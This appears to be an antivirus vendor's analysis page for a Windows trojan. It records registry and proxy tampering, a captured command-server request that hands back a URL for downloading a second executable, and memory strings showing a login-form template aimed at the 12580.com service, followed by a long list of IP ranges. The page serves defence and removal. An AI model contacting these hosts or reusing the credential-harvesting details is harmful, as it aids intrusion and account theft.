Gen.Variant.Mikey.12147_d15225cfdb – Adaware

Dynamic Analysis

Payload

Behaviour	Description
EmailWorm	Worm can send e-mails.

Process activity

The Trojan creates the following process(es):No processes have been created.The Trojan injects its code into the following process(es):

%original file name%.exe:312

Mutexes

The following mutexes were created/opened:

ZonesLockedCacheCounterMutexZonesCounterMutexZonesCacheCounterMutexWininetProxyRegistryMutexWininetConnectionMutexWininetStartupMutexc:!documents and settings!adm!local settings!history!history.ie5!c:!documents and settings!adm!cookies!c:!documents and settings!adm!local settings!temporary internet files!content.ie5!_!MSFTHISTORY!_RasPbFileShimCacheMutex

File activity

The process %original file name%.exe:312 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)

Registry activity

The process %original file name%.exe:312 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows Script\Settings]
"JITDebug" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "77 85 6C 83 56 57 A8 F1 39 B0 9D 76 B0 D6 F3 87"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

There are no dropped PE files.

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: ??
Product Name: ????????
Product Version: 1.0.0.0
Legal Copyright: ?? ????
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 1.0.0.0
File Description: ????????
Comments: ????????
Language: Chinese (Simplified, PRC)

Company Name: ??Product Name: ????????Product Version: 1.0.0.0Legal Copyright: ?? ????Legal Trademarks: Original Filename: Internal Name: File Version: 1.0.0.0File Description: ????????Comments: ????????Language: Chinese (Simplified, PRC)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
CODE	4096	8192	8192	3.73079	d4d69d4037dbc9b0720ef418c4b85b1b
.text	12288	979866	983040	4.48917	3cf1d37f41afc955ec294cf331feca89
.rdata	995328	278450	278528	4.21671	61122e88f7332db9299eb0f1aa0f6817
.data	1273856	419019	102400	3.30377	0657db8fd9a9dd336f2a7f07960ba952
.rsrc	1695744	35668	36864	3.88992	97a1241857694c04929ae5f2dbacb6d2

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://1.mmgx.sinaapp.com/mmgx.php?data=jsyd	220.181.136.43

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /mmgx.php?data=jsyd HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

Accept: */*

Host: 1.mmgx.sinaapp.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.4.4

Date: Tue, 23 Jun 2015 22:16:13 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Via: 10.67.15.22

Set-Cookie: saeut=193.138.244.231.1435097773628782; path=/; max-age=311040000

80..url=hXXp://downs.wxsxjp.com:8800/js/.............exe&var=1.0.3.2&type=0&md5=&txt=hXXp://downs.wxsxjp.com:8800/js/.......txt& ..HTTP/1.1 200 OK..Server: nginx/1.4.4..Date: Tue, 23 Jun 2015 22:16:13 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..Via: 10.67.15.22..Set-Cookie: saeut=193.138.244.231.1435097773628782; path=/; max-age=311040000..80..url=hXXp://downs.wxsxjp.com:8800/js/.............exe&var=1.0.3.2&type=0&md5=&txt=hXXp://downs.wxsxjp.com:8800/js/.......txt& ..0..0..

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_312:

.text

`.rdata

@.data

.rsrc

{82B46959-3065-46a0-8340-3BB58B77A259}

bywayboy@gmail.com

hXXp://VVV.ecodeproject.cn/bbs

:16882569

kernel32.dll

ole32.dll

msvcrt.dll

fne.dll

t$(SSh

~%UVW

u$SShe

user32.dll

advapi32.dll

WinINet.dll

wininet.dll

MsgWaitForMultipleObjects

GetAsyncKeyState

EnumWindows

HttpOpenRequestA

HttpAddRequestHeadersA

HttpSendRequestA

HttpQueryInfoA

|*.XLS

\\.\PhysicalDrive0

hXXps://ca.12580.com/loginCmPost

ca.12580.com

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0

application/x-www-form-urlencoded; charset=UTF-8

XMLHttpRequest

hXXps://ca.12580.com/login?service=hXXp://mall.12580.com/center/myBalance.chtml

&password=

service=http://mall.12580.com/center/myBalance.chtml&passwordMode=&username=

"url":"

mall.12580.com

hXXp://VVV.12580.com/common/queryCS.chtml?callback=jQuery17203665974905562821_1431158079112&_=

VVV.12580.com

hXXp://mall.12580.com/center/myBalance.chtml?ticket=ST-215537-aQKGvbPlMmmEvMte0NDP-ca.12580.com

1.12.0.0 - 1.15.255.255

1.24.0.0 - 1.31.255.255

27.8.0.0 - 27.31.255.255

27.36.0.0 - 27.47.255.255

27.50.128.0 - 27.50.255.255

27.54.192.0 - 27.54.255.255

27.128.0.0 - 27.129.255.255

27.144.0.0 - 27.144.255.255

27.148.0.0 - 27.159.255.255

27.184.0.0 - 27.227.255.255

58.14.0.0 - 58.25.255.255

58.30.0.0 - 58.63.255.255

58.66.0.0 - 58.67.255.255

58.68.128.0 - 58.68.255.255

58.82.0.0 - 58.83.255.255

58.87.64.0 - 58.87.127.255

58.99.128.0 - 58.101.255.255

58.116.0.0 - 58.119.255.255

58.128.0.0 - 58.135.255.255

58.154.0.0 - 58.155.255.255

58.192.0.0 - 58.223.255.255

58.240.0.0 - 58.255.255.255

59.32.0.0 - 59.83.255.255

59.107.0.0 - 59.111.255.255

59.151.0.0 - 59.151.127.255

59.155.0.0 - 59.155.255.255

59.172.0.0 - 59.175.255.255

59.191.0.0 - 59.255.255.255

60.0.0.0 - 60.31.255.255

60.55.0.0 - 60.55.255.255

60.63.0.0 - 60.63.255.255

60.160.0.0 - 60.191.255.255

60.194.0.0 - 60.195.255.255

60.200.0.0 - 60.223.255.255

60.232.0.0 - 60.233.255.255

60.235.0.0 - 60.235.255.255

60.245.128.0 - 60.245.255.255

60.247.0.0 - 60.247.255.255

60.252.0.0 - 60.252.255.255

60.253.128.0 - 60.253.255.255

60.255.0.0 - 60.255.255.255

61.4.80.0 - 61.4.95.255

61.4.176.0 - 61.4.191.255

61.8.160.0 - 61.8.175.255

61.28.0.0 - 61.28.127.255

61.29.128.0 - 61.29.255.255

61.45.128.0 - 61.45.191.255

61.47.128.0 - 61.47.191.255

61.48.0.0 - 61.55.255.255

61.87.192.0 - 61.87.255.255

61.128.0.0 - 61.191.255.255

61.232.0.0 - 61.237.255.255

61.240.0.0 - 61.243.255.255

110.6.0.0 - 110.7.255.255

110.16.0.0 - 110.19.255.255

110.40.0.0 - 110.43.255.255

110.48.0.0 - 110.48.255.255

110.51.0.0 - 110.53.255.255

110.56.0.0 - 110.65.255.255

110.72.0.0 - 110.73.255.255

110.75.0.0 - 110.76.63.255

110.76.192.0 - 110.77.127.255

110.80.0.0 - 110.91.255.255

110.94.0.0 - 110.127.255.255

110.152.0.0 - 110.157.255.255

110.166.0.0 - 110.167.255.255

110.172.192.0 - 110.173.47.255

110.173.64.0 - 110.173.127.255

110.173.192.0 - 110.173.223.255

110.176.0.0 - 110.223.255.255

110.228.0.0 - 110.231.255.255

110.232.32.0 - 110.232.63.255

110.236.0.0 - 110.237.255.255

110.240.0.0 - 110.255.255.255

111.0.0.0 - 111.63.255.255

111.66.0.0 - 111.66.255.255

111.67.192.0 - 111.67.207.255

111.68.64.0 - 111.68.95.255

111.72.0.0 - 111.79.255.255

111.85.0.0 - 111.85.255.255

111.91.192.0 - 111.91.223.255

111.112.0.0 - 111.117.255.255

111.119.64.0 - 111.119.159.255

111.120.0.0 - 111.124.255.255

111.126.0.0 - 111.167.255.255

111.170.0.0 - 111.170.255.255

111.172.0.0 - 111.183.255.255

111.186.0.0 - 111.187.255.255

111.192.0.0 - 111.215.255.255

111.221.128.0 - 111.222.255.255

111.223.240.0 - 111.223.243.255

111.223.248.0 - 111.223.251.255

111.224.0.0 - 111.231.255.255

111.235.96.0 - 111.235.127.255

111.235.160.0 - 111.235.191.255

112.0.0.0 - 112.67.255.255

112.73.0.0 - 112.75.255.255

112.80.0.0 - 112.87.255.255

112.109.128.0 - 112.109.255.255

112.111.0.0 - 112.117.255.255

112.122.0.0 - 112.132.255.255

112.192.0.0 - 112.195.255.255

112.224.0.0 - 112.255.255.255

113.0.0.0 - 113.9.255.255

113.11.192.0 - 113.11.223.255

113.12.0.0 - 113.18.255.255

113.24.0.0 - 113.27.255.255

113.31.0.0 - 113.31.255.255

113.44.0.0 - 113.51.255.255

113.52.160.0 - 113.52.191.255

113.54.0.0 - 113.59.127.255

113.62.0.0 - 113.129.255.255

113.130.96.0 - 113.130.119.255

113.132.0.0 - 113.143.255.255

113.194.0.0 - 113.195.255.255

113.200.0.0 - 113.202.255.255

113.204.0.0 - 113.207.255.255

113.208.96.0 - 113.209.255.255

113.212.0.0 - 113.212.63.255

113.213.0.0 - 113.213.127.255

113.214.0.0 - 113.215.255.255

113.218.0.0 - 113.251.255.255

114.28.0.0 - 114.28.255.255

114.54.0.0 - 114.55.255.255

114.60.0.0 - 114.68.255.255

114.80.0.0 - 114.107.255.255

114.110.0.0 - 114.110.15.255

114.110.128.0 - 114.110.255.255

114.111.160.0 - 114.111.191.255

114.112.0.0 - 114.117.255.255

114.132.0.0 - 114.132.255.255

114.135.0.0 - 114.135.255.255

114.138.0.0 - 114.139.255.255

114.141.128.0 - 114.141.191.255

114.196.0.0 - 114.197.255.255

114.208.0.0 - 114.211.255.255

114.216.0.0 - 114.255.255.255

115.44.0.0 - 115.63.255.255

115.84.0.0 - 115.84.63.255

115.84.192.0 - 115.84.223.255

115.85.192.0 - 115.85.255.255

115.100.0.0 - 115.107.255.255

115.120.0.0 - 115.123.255.255

115.124.16.0 - 115.124.31.255

115.148.0.0 - 115.159.255.255

115.168.0.0 - 115.175.255.255

115.180.0.0 - 115.183.255.255

115.192.0.0 - 115.255.255.255

116.1.0.0 - 116.11.255.255

116.13.0.0 - 116.13.255.255

116.16.0.0 - 116.31.255.255

116.52.0.0 - 116.57.255.255

116.58.128.0 - 116.58.143.255

116.58.208.0 - 116.58.223.255

116.60.0.0 - 116.63.255.255

116.66.0.0 - 116.66.127.255

116.69.0.0 - 116.70.127.255

116.76.0.0 - 116.79.255.255

116.89.144.0 - 116.89.159.255

116.90.80.0 - 116.90.95.255

116.90.184.0 - 116.90.191.255

116.95.0.0 - 116.95.255.255

116.112.0.0 - 116.117.255.255

116.128.0.0 - 116.192.255.255

116.193.16.0 - 116.193.63.255

116.194.0.0 - 116.196.255.255

116.198.0.0 - 116.199.159.255

116.204.0.0 - 116.205.255.255

116.207.0.0 - 116.211.255.255

116.212.160.0 - 116.212.175.255

116.213.64.0 - 116.213.255.255

116.214.32.0 - 116.214.79.255

116.214.128.0 - 116.219.255.255

116.224.0.0 - 116.239.255.255

116.242.0.0 - 116.249.255.255

116.252.0.0 - 116.253.255.255

116.254.128.0 - 116.254.255.255

116.255.128.0 - 116.255.255.255

117.8.0.0 - 117.15.255.255

117.21.0.0 - 117.45.255.255

117.48.0.0 - 117.51.255.255

117.53.176.0 - 117.53.191.255

117.57.0.0 - 117.58.127.255

117.59.0.0 - 117.73.255.255

117.74.64.0 - 117.74.79.255

117.74.128.0 - 117.95.255.255

117.100.0.0 - 117.101.255.255

117.103.16.0 - 117.103.31.255

117.103.128.0 - 117.103.143.255

117.106.0.0 - 117.107.255.255

117.112.0.0 - 117.119.255.255

117.120.64.0 - 117.121.199.255

117.122.128.0 - 117.122.255.255

117.124.0.0 - 117.191.255.255

118.24.0.0 - 118.31.255.255

118.64.0.0 - 118.66.255.255

118.67.112.0 - 118.67.127.255

118.72.0.0 - 118.81.255.255

118.84.0.0 - 118.85.255.255

118.88.32.0 - 118.89.255.255

118.91.240.0 - 118.91.255.255

118.102.16.0 - 118.102.31.255

118.112.0.0 - 118.126.255.255

118.132.0.0 - 118.135.255.255

118.144.0.0 - 118.147.255.255

118.178.0.0 - 118.178.255.255

118.180.0.0 - 118.207.255.255

118.212.0.0 - 118.213.255.255

118.224.0.0 - 118.230.255.255

118.239.0.0 - 118.239.255.255

118.242.0.0 - 118.242.255.255

118.244.0.0 - 119.2.31.255

119.2.128.0 - 119.10.127.255

119.15.136.0 - 119.15.143.255

119.16.0.0 - 119.16.255.255

119.18.192.0 - 119.18.207.255

119.19.0.0 - 119.23.255.255

119.27.160.0 - 119.27.255.255

119.30.48.0 - 119.30.63.255

119.31.192.0 - 119.31.223.255

119.32.0.0 - 119.40.79.255

119.40.128.0 - 119.42.31.255

119.42.136.0 - 119.42.143.255

119.42.224.0 - 119.42.255.255

119.44.0.0 - 119.45.255.255

119.48.0.0 - 119.55.255.255

119.57.0.0 - 119.58.255.255

119.59.128.0 - 119.62.255.255

119.63.32.0 - 119.63.63.255

119.75.208.0 - 119.75.223.255

119.78.0.0 - 119.81.255.255

119.84.0.0 - 119.91.255.255

119.96.0.0 - 119.103.255.255

119.108.0.0 - 119.109.255.255

119.112.0.0 - 119.147.255.255

119.148.160.0 - 119.148.175.255

119.161.128.0 - 119.167.255.255

119.176.0.0 - 119.191.255.255

119.232.0.0 - 119.233.255.255

119.235.128.0 - 119.235.191.255

119.248.0.0 - 119.251.255.255

119.253.0.0 - 119.255.255.255

120.0.0.0 - 120.15.255.255

120.30.0.0 - 120.49.255.255

120.52.0.0 - 120.55.255.255

120.64.0.0 - 120.71.255.255

120.72.32.0 - 120.72.63.255

120.72.128.0 - 120.72.255.255

120.76.0.0 - 120.87.255.255

120.88.8.0 - 120.88.15.255

120.90.0.0 - 120.92.255.255

120.94.0.0 - 120.95.255.255

120.128.0.0 - 120.135.255.255

120.136.128.0 - 120.136.191.255

120.137.0.0 - 120.137.127.255

120.192.0.0 - 120.255.255.255

121.0.16.0 - 121.0.31.255

121.4.0.0 - 121.5.255.255

121.8.0.0 - 121.43.255.255

121.46.0.0 - 121.49.255.255

121.51.0.0 - 121.51.255.255

121.52.160.0 - 121.52.191.255

121.52.208.0 - 121.52.255.255

121.55.0.0 - 121.55.63.255

121.56.0.0 - 121.58.127.255

121.58.144.0 - 121.58.159.255

121.59.0.0 - 121.63.255.255

121.68.0.0 - 121.71.255.255

121.76.0.0 - 121.77.255.255

121.79.128.0 - 121.79.191.255

121.89.0.0 - 121.89.255.255

121.100.128.0 - 121.100.255.255

121.101.208.0 - 121.101.223.255

121.192.0.0 - 121.199.255.255

121.201.0.0 - 121.201.255.255

121.204.0.0 - 121.207.255.255

121.224.0.0 - 121.239.255.255

121.248.0.0 - 121.251.255.255

121.255.0.0 - 121.255.255.255

122.0.64.0 - 122.0.255.255

122.4.0.0 - 122.15.255.255

122.48.0.0 - 122.49.63.255

122.51.0.0 - 122.51.255.255

122.64.0.0 - 122.97.255.255

122.102.0.0 - 122.102.15.255

122.102.64.0 - 122.102.95.255

122.112.0.0 - 122.115.255.255

122.119.0.0 - 122.119.255.255

122.136.0.0 - 122.143.255.255

122.144.128.0 - 122.144.255.255

122.152.192.0 - 122.152.255.255

122.156.0.0 - 122.159.255.255

122.192.0.0 - 122.195.255.255

122.198.0.0 - 122.198.255.255

122.200.64.0 - 122.200.127.255

122.204.0.0 - 122.207.255.255

122.224.0.0 - 122.247.255.255

122.248.48.0 - 122.248.63.255

123.0.128.0 - 123.0.191.255

123.4.0.0 - 123.15.255.255

123.49.128.0 - 123.49.255.255

123.52.0.0 - 123.98.127.255

123.99.128.0 - 123.100.31.255

123.101.0.0 - 123.101.255.255

123.103.0.0 - 123.103.127.255

123.108.128.0 - 123.108.143.255

123.108.208.0 - 123.108.223.255

123.112.0.0 - 123.135.255.255

123.136.80.0 - 123.136.95.255

123.137.0.0 - 123.139.255.255

123.144.0.0 - 123.175.255.255

123.176.80.0 - 123.176.95.255

123.177.0.0 - 123.191.255.255

123.196.0.0 - 123.197.255.255

123.199.128.0 - 123.199.255.255

123.206.0.0 - 123.207.255.255

123.232.0.0 - 123.235.255.255

123.242.0.0 - 123.242.127.255

123.244.0.0 - 123.247.255.255

123.249.0.0 - 123.249.255.255

123.253.0.0 - 123.253.255.255

124.6.64.0 - 124.6.127.255

124.14.0.0 - 124.17.255.255

124.20.0.0 - 124.23.255.255

124.28.192.0 - 124.29.127.255

124.31.0.0 - 124.31.255.255

124.40.112.0 - 124.40.192.255

124.42.0.0 - 124.42.255.255

124.47.0.0 - 124.47.63.255

124.64.0.0 - 124.66.127.255

124.67.0.0 - 124.79.255.255

124.88.0.0 - 124.95.255.255

124.108.8.0 - 124.108.15.255

124.108.40.0 - 124.108.47.255

124.112.0.0 - 124.119.255.255

124.126.0.0 - 124.135.255.255

124.147.128.0 - 124.147.255.255

124.151.0.0 - 124.151.255.255

124.156.0.0 - 124.156.255.255

124.160.0.0 - 124.167.255.255

124.172.0.0 - 124.175.255.255

124.192.0.0 - 124.193.255.255

124.196.0.0 - 124.196.255.255

124.200.0.0 - 124.207.255.255

124.220.0.0 - 124.240.127.255

124.242.0.0 - 124.242.255.255

124.243.192.0 - 124.243.255.255

124.248.0.0 - 124.248.127.255

124.249.0.0 - 124.251.255.255

124.254.0.0 - 124.254.63.255

125.31.192.0 - 125.47.255.255

125.58.128.0 - 125.58.255.255

125.61.128.0 - 125.62.63.255

125.64.0.0 - 125.98.255.255

125.104.0.0 - 125.127.255.255

125.169.0.0 - 125.169.255.255

125.171.0.0 - 125.171.255.255

125.208.0.0 - 125.208.63.255

125.210.0.0 - 125.211.255.255

125.213.0.0 - 125.213.127.255

125.214.96.0 - 125.214.127.255

125.215.0.0 - 125.215.63.255

125.216.0.0 - 125.223.255.255

125.254.128.0 - 125.254.255.255

134.196.0.0 - 134.196.255.255

159.226.0.0 - 159.226.255.255

161.207.0.0 - 161.207.255.255

162.105.0.0 - 162.105.255.255

166.111.0.0 - 166.111.255.255

167.139.0.0 - 167.139.255.255

168.160.0.0 - 168.160.255.255

169.211.1.0 - 169.211.1.255

175.30.0.0 - 175.31.255.255

175.42.0.0 - 175.44.255.255

175.46.0.0 - 175.95.255.255

175.102.0.0 - 175.102.255.255

175.106.128.0 - 175.106.255.255

175.146.0.0 - 175.155.255.255

175.160.0.0 - 175.175.255.255

175.178.0.0 - 175.178.255.255

175.184.128.0 - 175.184.191.255

175.185.0.0 - 175.191.255.255

180.76.0.0 - 180.79.255.255

180.84.0.0 - 180.86.255.255

180.88.0.0 - 180.91.155.255

180.94.56.0 - 180.94.63.255

180.94.96.0 - 180.94.111.255

180.95.128.0 - 180.95.255.255

180.129.128.0 - 180.130.255.255

180.148.224.0 - 180.148.255.255

180.149.128.0 - 180.149.159.255

180.150.160.0 - 180.150.191.255

180.152.0.0 - 180.175.255.255

180.184.0.0 - 180.187.255.255

180.189.148.0 - 180.189.151.255

180.201.0.0 - 180.203.255.255

180.208.0.0 - 180.209.255.255

180.210.224.0 - 180.210.255.255

180.212.0.0 - 180.213.255.255

180.222.224.0 - 180.222.255.255

180.223.0.0 - 180.223.255.255

180.233.0.0 - 180.233.95.255

180.235.64.0 - 180.235.95.255

182.16.192.0 - 182.16.223.255

182.18.0.0 - 182.18.127.255

182.32.0.0 - 182.47.255.255

182.48.96.0 - 182.48.127.255

182.49.0.0 - 182.49.255.255

182.50.0.0 - 182.50.15.255

182.50.112.0 - 182.50.127.255

182.51.0.0 - 182.51.255.255

182.54.0.0 - 182.54.127.255

182.61.0.0 - 182.61.255.255

182.80.0.0 - 182.92.255.255

182.94.0.0 - 182.151.255.255

182.157.0.0 - 182.157.255.255

182.160.64.0 - 182.160.95.255

182.174.0.0 - 182.175.255.255

182.236.128.0 - 182.236.255.255

182.200.0.0 - 182.207.255.255

182.238.0.0 - 182.239.31.255

182.240.0.0 - 182.247.255.255

182.254.0.0 - 182.254.255.255

183.0.0.0 - 183.71.255.255

183.81.180.0 - 183.81.183.255

183.84.0.0 - 183.85.255.255

183.91.128.0 - 183.91.131.255

183.91.144.0 - 183.91.159.255

183.92.0.0 - 183.95.255.255

183.128.0.0 - 183.159.255.255

183.168.0.0 - 183.170.255.255

183.172.0.0 - 183.175.255.255

183.182.0.0 - 183.182.31.255

183.184.0.0 - 183.191.255.255

192.83.122.0 - 192.83.122.255

192.124.154.0 - 192.124.154.255

192.188.170.0 - 192.188.170.255

198.17.7.0 - 198.17.7.255

198.97.132.0 - 198.97.132.255

202.0.110.0 - 202.0.110.255

202.0.160.0 - 202.0.179.255

202.4.128.0 - 202.4.159.255

202.4.252.0 - 202.4.255.255

202.8.128.0 - 202.8.159.255

202.10.64.0 - 202.10.79.255

202.14.88.0 - 202.14.88.255

202.14.235.0 - 202.14.238.255

202.20.120.0 - 202.20.120.255

202.22.248.0 - 202.22.255.255

202.38.0.0 - 202.38.15.255

202.38.64.0 - 202.38.138.255

202.38.140.0 - 202.38.156.255

202.38.158.0 - 202.38.161.255

202.38.164.0 - 202.38.176.255

202.38.184.0 - 202.38.255.255

202.41.152.0 - 202.41.159.255

202.41.240.0 - 202.41.255.255

202.43.76.0 - 202.43.79.255

202.46.32.0 - 202.46.63.255

202.46.224.0 - 202.46.239.255

202.60.112.0 - 202.60.127.255

202.69.4.0 - 202.69.7.255

202.69.16.0 - 202.69.31.255

202.70.0.0 - 202.70.31.255

202.74.8.0 - 202.74.15.255

202.75.208.0 - 202.75.223.255

202.85.208.0 - 202.85.223.255

202.90.0.0 - 202.90.3.255

202.90.224.0 - 202.90.239.255

202.90.252.0 - 202.91.3.255

202.91.128.0 - 202.91.131.255

202.91.176.0 - 202.91.191.255

202.91.224.0 - 202.92.3.255

202.92.252.0 - 202.93.3.255

202.93.252.0 - 202.94.31.255

202.95.0.0 - 202.95.31.255

202.95.252.0 - 202.122.39.255

202.122.64.0 - 202.122.95.255

202.122.112.0 - 202.122.119.255

202.122.128.0 - 202.122.128.255

202.123.96.0 - 202.123.111.255

202.124.24.0 - 202.124.31.255

202.125.176.0 - 202.125.191.255

202.127.0.0 - 202.127.7.255

202.127.12.0 - 202.127.31.255

202.127.40.0 - 202.127.63.255

202.127.112.0 - 202.127.255.255

202.130.0.0 - 202.130.31.255

202.130.224.0 - 202.130.255.255

202.131.16.0 - 202.131.23.255

202.131.48.0 - 202.131.63.255

202.131.208.0 - 202.131.223.255

202.136.48.0 - 202.136.63.255

202.136.208.0 - 202.136.239.255

202.141.160.0 - 202.141.191.255

202.142.16.0 - 202.142.31.255

202.143.16.0 - 202.143.31.255

202.148.96.0 - 202.148.127.255

202.149.160.0 - 202.149.175.255

202.149.224.0 - 202.149.255.255

202.150.16.0 - 202.150.31.255

202.152.176.0 - 202.152.191.255

202.153.48.0 - 202.153.63.255

202.158.160.0 - 202.158.191.255

202.160.176.0 - 202.160.191.255

202.164.0.0 - 202.164.15.255

202.164.25.0 - 202.164.25.255

202.165.96.0 - 202.165.103.255

202.165.176.0 - 202.165.191.255

202.165.208.0 - 202.165.223.255

202.168.160.0 - 202.168.191.255

202.170.128.0 - 202.170.159.255

202.170.216.0 - 202.170.223.255

202.173.8.0 - 202.173.15.255

202.173.224.0 - 202.173.255.255

202.179.240.0 - 202.179.255.255

202.180.128.0 - 202.180.159.255

202.181.112.0 - 202.181.127.255

202.189.80.0 - 202.189.95.255

202.192.0.0 - 202.207.255.255

203.18.50.0 - 203.18.50.255

203.79.0.0 - 203.79.15.255

203.80.144.0 - 203.80.159.255

203.81.16.0 - 203.81.31.255

203.83.56.0 - 203.83.63.255

203.86.0.0 - 203.86.95.255

203.88.0.0 - 203.88.3.255

203.88.32.0 - 203.88.63.255

203.88.192.0 - 203.88.223.255

203.89.0.0 - 203.89.3.255

203.90.0.0 - 203.90.3.255

203.90.128.0 - 203.90.223.255

203.91.32.0 - 203.91.63.255

203.91.96.0 - 203.91.111.255

203.91.120.0 - 203.91.127.255

203.92.0.0 - 203.92.3.255

203.92.160.0 - 203.92.191.255

203.93.0.0 - 203.94.31.255

203.95.0.0 - 203.95.7.255

203.95.96.0 - 203.95.127.255

203.99.16.0 - 203.99.31.255

203.99.80.0 - 203.99.95.255

203.100.32.0 - 203.100.47.255

203.100.80.0 - 203.100.127.255

203.100.192.0 - 203.100.207.255

203.110.160.0 - 203.110.191.255

203.114.244.0 - 203.114.247.255

203.118.192.0 - 203.118.223.255

203.118.248.0 - 203.118.251.255

203.119.24.0 - 203.119.35.255

203.119.80.0 - 203.119.83.255

203.128.32.0 - 203.128.63.255

203.128.96.0 - 203.128.159.255

203.130.32.0 - 203.130.63.255

203.132.32.0 - 203.132.63.255

203.134.240.0 - 203.134.247.255

203.135.96.0 - 203.135.127.255

203.135.160.0 - 203.135.175.255

203.142.219.0 - 203.142.219.255

203.148.0.0 - 203.148.63.255

203.152.64.0 - 203.152.95.255

203.156.192.0 - 203.156.255.255

203.158.16.0 - 203.158.23.255

203.161.180.0 - 203.161.180.255

203.161.192.0 - 203.161.223.255

203.166.160.0 - 203.166.191.255

203.171.224.0 - 203.171.239.255

203.174.7.0 - 203.174.7.255

203.174.96.0 - 203.174.127.255

203.175.128.0 - 203.175.159.255

203.175.192.0 - 203.175.255.255

203.176.168.0 - 203.176.175.255

203.184.80.0 - 203.184.95.255

203.187.160.0 - 203.187.191.255

203.190.96.0 - 203.190.111.255

203.191.16.0 - 203.191.31.255

203.191.64.0 - 203.191.127.255

203.191.144.0 - 203.191.159.255

203.192.0.0 - 203.192.31.255

203.196.0.0 - 203.196.3.255

203.207.64.0 - 203.208.19.255

203.208.32.0 - 203.208.63.255

